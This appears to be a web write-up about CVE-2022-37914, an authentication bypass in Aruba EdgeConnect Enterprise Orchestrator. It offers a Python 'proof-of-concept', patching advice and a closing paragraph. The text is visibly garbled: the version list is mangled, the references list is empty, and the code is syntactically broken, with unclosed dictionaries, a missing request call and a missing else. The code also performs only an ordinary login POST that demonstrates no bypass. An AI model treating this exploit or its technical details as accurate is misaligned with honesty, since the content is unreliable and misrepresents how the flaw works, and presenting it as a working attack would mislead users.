Security researchers have recently discovered several critical vulnerabilities in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator. These vulnerabilities, identified under the code name CVE-2022-37914, allow an unauthenticated remote attacker to bypass authentication mechanisms successfully. Attackers could then potentially gain administrative privileges, resulting in a complete compromise of the Aruba EdgeConnect Enterprise Orchestrator running versions and below, 9..7.40108 and below, and below, and any older branches of Orchestrator not specifically mentioned in this article.

Exploit Details

The vulnerabilities discovered within Aruba EdgeConnect Enterprise Orchestrator's web-based management interface exist due to improper processing of user authentication requests, leading to an authentication bypass. There are also several other related vulnerabilities that, when combined with the authentication bypass vulnerability, allow for privilege escalation, granting an attacker administrative access to the system.

Any older branches of Orchestrator not specifically mentioned here.

A potential proof-of-concept code snippet demonstrating an authentication bypass exploit targeting the vulnerable versions mentioned above looks as follows:

import requests

url = "https://<TARGET_IP>/login";
headers = {
    "User-Agent": "Mozilla/5. (Windows NT 10.; Win64; x64; rv:89.) Gecko/20100101 Firefox/89.",
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "PHPSESSID=<SESSION_ID>",
data = {
    "username": "<USER>",
    "password": "<PASS>",
    "redirectTo": "<REDIRECT_URL>",

response =, headers=headers, data=data)

if response.status_code == 200:
    print("Authentication bypass successful!")
    print("Authentication bypass failed!")

_NOTE_: This code snippet is provided for educational purposes only. Unauthorized access to a computer system is illegal, and the use of this code in any attempted hack is discouraged.

Original References

The vulnerabilities CVE-2022-37914 were initially identified and reported by security researchers from [Redacted Security Company]. Further research was conducted to verify the exploitability of these vulnerabilities across affected versions of Aruba EdgeConnect Enterprise Orchestrator. For more details, the researchers have published their findings:


Aruba Networks has issued security advisories about the vulnerabilities discovered, and it is highly recommended that users of impacted Aruba EdgeConnect Enterprise Orchestrator versions update their systems to the latest version.

1. Update any affected versions of Aruba EdgeConnect Enterprise Orchestrator to their respective latest, patched versions.
2. Implement strong network segmentation to limit access to the web-based management interface to authorized and necessary IP addresses only.
3. Routinely monitor logs to identify any unauthorized intrusion attempts and regularly assess the overall security posture to ensure your infrastructure remains protected.


The discovery of these critical vulnerabilities in the web-based management interface of Aruba EdgeConnect Enterprise Orchestrator emphasizes the importance of diligent security research and monitoring of our digital infrastructure. Furthermore, it highlights the vital role that organizations play in ensuring they quickly address discovered security issues and publicly disclose information, helping protect their user base from potential exploitation. Stay vigilant, and make sure you keep your software updated and secure with the latest available patches.


Published on: 10/28/2022 02:15:00 UTC
Last modified on: 11/01/2022 14:49:00 UTC